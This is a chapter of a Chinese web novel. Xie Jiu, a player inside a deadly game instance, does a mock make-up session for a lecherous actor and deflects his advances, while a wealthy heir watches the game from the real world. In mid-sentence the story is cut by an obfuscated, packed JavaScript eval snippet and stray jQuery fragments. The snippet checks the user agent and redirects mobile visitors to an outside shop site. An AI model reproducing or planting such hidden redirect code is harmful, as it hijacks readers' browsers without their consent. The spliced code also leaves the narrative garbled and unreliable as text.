现实世界。
一家以装潢奢华、接待权贵闻名的会所地下车库,一个西装革履的青年从一辆普通的商务车下来,手里捏着张低调的黑色卡片。
青年长了一副与谢酒有六七分相似的脸,但眼珠是浅蓝色的。看他的脸庞,似乎比谢酒还要小上两三岁。不过,举手投足之间,有着一副富家子弟传承的成熟涵养。
早有人在一个不起眼的电梯口等候,看到青年下车,赶紧迎上来:“宴少好。”
宴必脚步没停,朝电梯走:“福叔,收到基地消息了吗?”
福叔微微弯着腰,十分恭敬,跟在身后:“当然。一早就收到了。”
“像宴少这样,不到一年就出了新手区的,实在少见。”
“庆总吩咐我们,办个庆祝会。”
宴必走进电梯:“不必了。”
福叔跟进去,按了地下三层。
“庆总说,就几个知根知底的服务生,没有别人。”
叮。
电梯门打开。
福叔侧了半身,挡住电梯门,让宴必先出去。
“根据基地的信息,宴少的权限已经更新,地下四、五层的房间可随意使用。”
“我们换B电梯。”
宴必“嗯”一声,走出去:“我想要的消息,打听到了吗?”
跟在身后的福叔脚步错了一下:“额,人倒是找到了。对方也愿意卖积分。”
“不过,这人前两天进了个挺难的副本,目前为止伤亡率超过70%,还没通关。也不知道他......还会不会出来。”
“好。”宴必说:“对方如果出来,有什么条件,尽管答应。”
“额.......”福叔似乎有些为难:“我们尽量去谈。”
“不过,宴少你真的要......”
宴必停下脚步,微侧头,眼神冰冷。
“这不是你该管的。”
福叔再次低头,加快脚步在前面带路。一直把宴必领进一个全自动识别权限的舒适房间,再没开过口。
直到带上门,福叔才摇了摇头。
真是搞不懂这些有钱人的想法,明明已经赢了一辈子都够花的钱,怎么还想着去参加那么危险的游戏。
图什么呢?
屋内,宴必在宽大的米色皮质沙发上坐下,一面墙大小的屏幕自动跳出系统界面。
他低声说了几个指令,一个正在进行中的游戏副本出现在屏幕上。
正是【吃人的度假村】。
屏幕内的副本中。
谢酒搞定了池孟,留下诸子瑜继续完成个人任务,自己出了门。
狂欢宴只有半个小时了。
只来得及再找一个人化妆。
找谁呢?
谢酒脑子里在缪和平、路昆和郑天瑞几个人间转了转。
丁零零。
手机响。
是暖暖来电。
她也遇到了危险?
谢酒立即接通电话。
“喂,”对面是暖暖半死不活的语气:“老大,我正在被人折磨。”
说着吓人的话,但语气里没有恐惧,反而是浓浓的无可奈何加生无可恋的厌世感。
谢酒放心了,语气往上一挑,带着看好戏的戏虐:“谁能折磨你这个泼猴?”
“郑天瑞。”暖暖都没计较谢酒的称呼,声音一下高了八个度:“他竟然支使我端茶倒水铺床叠被洗厕所!”
她愤愤不平道:“老娘什么时候帮人干过这个啊!连我男朋友和老妈都没有这服务!奶奶的,让这小子等着,我出副本前,非狠狠揍他一顿不可!”
谢酒轻笑了声:“好了,诸子瑜也和你一样,在当丫鬟呢。这活儿风险小,也不累。不好吗?”
“好个屁!”暖暖骂道:“你快来,跟我一起同甘共苦。”
“我为什么要......”谢酒刚说了一半,意识到什么:“......是郑天瑞让你找我去?”
“要不然呢?”暖暖理所当然地说:“要不是为完成任务,我会专门打电话给你撒娇吗?”
“我才不是那种柔弱的女孩。”
谢酒叹了口气。
这不叫撒娇,叫泼妇骂街。
——
敲开郑天瑞的房门时,谢酒还没想好要怎么化妆。
从大堂里短暂的接触来看,郑天瑞这人表面似乎和池孟一样,经不得激怒,一点就炸。但依谢酒看,他比池孟深沉得多,并不会把心思简单得暴露在外。
也许,连他和池孟的争吵,都是故意做出来给人看的。
要不然,仅凭一张脸,和毛毛躁躁的性格,也不会被卢芷琪收为己用。
“老大,”暖暖拉开门,一脸衰样,耷拉着肩膀:“快救救我。”
谢酒好笑地走进屋,拍拍她肩膀:“加油,坚持。”
随即就对屋里的郑天瑞打招呼:“天瑞哥,抱歉,和卢姐聊得有点久,来晚了。”
“哦?”郑天瑞坐在客厅沙发上,翘着二郎腿,手指间夹着烟:“聊什么了?这么投缘。”
烟雾从他指尖升腾而起,向天花板的方向袅袅飞去,倒将他的脸隐在其后,让人看的不十分真切。
“聊了些卢姐以前的事。”谢酒把化妆包放在桌上:“卢姐这人,看起来洒脱,其实骨子里很念旧的。”
“是吗?”郑天瑞又抽了一口烟,眼神飘向天花板,仿佛在出神。
谢酒没接话,把包里的工具一样样拿出来:“天瑞哥,今天想要个什么样的妆?”
随便什么样的妆都好。
反正我都不会。
当啷。
谢酒不小心把一面镜子碰掉在地上。
他没多想,直接弯腰,捡了起来。
直起身的那一刹那,谢酒就感觉到了不对劲。
在副本里久了,对视线、杀气这类无形的东西很敏感,直觉也很敏锐。
他能感觉到,身后那一道赤裸裸的眼神犹如有了实质一般,灼热、滚烫,一直盯着他的腰身。
仿佛瞄准了猎物的猎人一般,渴望、贪婪,对想要的东西志在必得。
对,他谢酒现在就是那个猎物。
艹。
郑天瑞......这个变态。
居然好这口......
真难为他伺候卢芷琪这么久。
和池孟还真是天生一对。
谢酒转过身,装作若无其事:“天瑞哥.......”
“你是gay吗?”郑天瑞突然打断。
谢酒一愣,脸上微微发红,神情有些尴尬,但并没遮掩,反而大大方方承认:“是。”
“天瑞哥怎么知道的?”
十足十像一个秘密被揭穿、有些尴尬、却态度坦荡的年轻人。
郑天瑞笑了:“放心,这个圈子里很正常。你不想别人知道,我不会说的。”
他站起身,朝着谢酒走来。手指间的烟掐灭在桌上的烟灰缸里。
“我的妆容一向简单,你自由发挥即可。”
“你是剧组专门请来的化妆圣手,技术很强。”
“我相信你。”
他对着谢酒笑了笑,嘴角勾起的弧度刚刚好。仿佛冬日里的一缕暖阳,能照得人心里舒适、熨贴。又仿佛藏着秘密的沙漠猎人,带着一丝丝勾引。
呵呵。
不愧是影帝。
表情管理真是完美。
谢酒扯了扯嘴角。
信我?
太好了。
让祖爷爷我教你做人。
谢酒装作看不懂郑天瑞的眼神,等他在椅子上坐好后,直接拿着眉笔,朝他脸怼了上去。
一笔、一划,用了些力,在左右两边分别写了个“一”字。
嗯......有点歪,谢酒又描了描,来回涂了涂,“一”字粗了些。
像蜡笔小新。
搞定。
谢酒把眉笔扔进化妆包,拍了拍手,好像要拍掉什么脏东西。
“好了?”郑天瑞有点诧异。
大概从第一天进入娱乐圈,就没接受过这么短暂的化妆流程。
“嗯。”谢酒肯定地点点头:“天瑞哥皮肤底子好,五官又端正,几乎没有瑕疵。”
“我只帮你加粗了一下眉,看起来更英武些。其他地方,我就不做画蛇添足的事了。”
“你刚刚不是说,妆容一向简单?”
被谢酒夸了下、又反问了下,郑天瑞没说出反驳的话来。
他看着谢酒的脸,手指
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13528861|138341||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
动了动,咽了下口水。
“你这画得似乎过于简单了,不会是不想碰我吧?”
“听过我的绯闻?”
“其实我和卢芷琪......”
“怎么会。”谢酒打断他:“这个圈子里,真真假假太多了,多半是假的。这个我懂。”
郑天瑞又勾起他那完美弧度的嘴角:“你能理解就好。”
“说起来,以前我都没怎么关注过你,多大了?”
“23。”谢酒有点拘谨地说:“我年龄不大,但从事化妆这一行很久了,十来岁就跟着师傅出来跑。经验很丰富。要不然也不会得到导演的青睐。”
郑天瑞伸出手,拍拍他胳膊:“我又没说你什么,这么紧张干什么。”
他手沿着谢酒胳膊往下滑,却一直贴着没分开。
谢酒一把抓住他手腕,用力一掐。
那力量少说也能掐弯个把金属水管金属器皿之类的,一下施加在郑天瑞手腕上,他闷哼一声,整条胳膊直接疼软了。
“你......”郑天瑞额头冒出了些汗,但他硬撑着面子,不肯大声喊。
“哎呀,”谢酒脸微微红,惊慌失措地撒了手:“对不起、对不起,天瑞哥,你抓着我,我有点紧张,一时反应过度........”
“是不是弄疼你了?”
“小时候我爸总让我杀猪,捆猪捆习惯了,这力气一下没控制好......”
郑天瑞张了张嘴,一时不知这话该怎么接。
要说谢酒是故意的,那这话就太难听了。
可这皮肤白嫩、眼珠深蓝,长得俊得不得了的年轻人,看起来这么乖这么嫩,哪里会有这样的心眼?
一定是个误会。
再说,是自己占便宜在先。
“没事,”郑天瑞把手腕背在身后,轻轻转着缓解疼痛:“也不是很用力。我平时经常演武打戏,这种程度的力量都习惯了。”
“不过,你是不是误会我了.......”
一边说,他一边朝桌上的镜子看了一眼。
这一眼,就愣在了原地。
这眉毛......
是出自专业化妆师之手?
还是导演青睐的化妆圣手?
“这眉毛......”郑天瑞有些迟疑。
“很特别吧。”谢酒看起来有点雀跃,又“一不小心”抓住了刚刚他捏过的手腕,“激动”地晃了晃:“最近圈子里开始流行这种从东南亚传过来的呆板风,你仔细看,是不是显得很man?”
郑天瑞被捏的一阵刺痛,又要努力维持着脸上的表情,一时大脑都停止运转了。
谢酒松开他手腕,又露出小心翼翼的表情:“天瑞哥觉得这种妆容太大胆了吗?”
“那要不,”他作势要重新打开化妆包:“我重新给天瑞哥换个普通点的?”
“怪我不好,想着只有天瑞哥这样的人才敢尝试这种风格......”
“没事,不用。”郑天瑞反手抓住他胳膊:“男人化什么妆容是其次的,不要辜负了你的心意。”
谢酒心里嘘了口气。
他没看错。
郑天瑞这人花花肠子不少,习惯玩弄别人的心思。
这样的人,极度自负,仗着自己长得好,不会太在意脸上这一个影响甚小的细节。
相比这眉毛,能和他拉近距离,方便以后下手,才是郑天瑞更看重的。
行了。
任务圆满完成。
“时间差不多了,”谢酒轻轻挣开郑天瑞的手,故作羞涩状:“天瑞哥,我们狂欢宴上见。”
这轻轻挣脱的手势,既没有拒他千里之外的意思,也恰到好处地表达了矜持。
直到转身,看到角落里暖暖一副吃了十斤屎一样的表情,谢酒才感觉到快压抑不住内心的恶心了。
趁着自己还没吐,他加快脚步朝门口走。
暖暖不愧是合作过那么多次的伙伴,顺手帮他拉开门。
谢酒一步迈了出去,身后门分秒不差地“砰”一声关上。
最后一刻,他似乎听到郑天瑞喊了一声,还想说什么。
但谢酒头也不回地走了。
老天保佑,希望参加狂欢宴的人不讨厌蜡笔小新。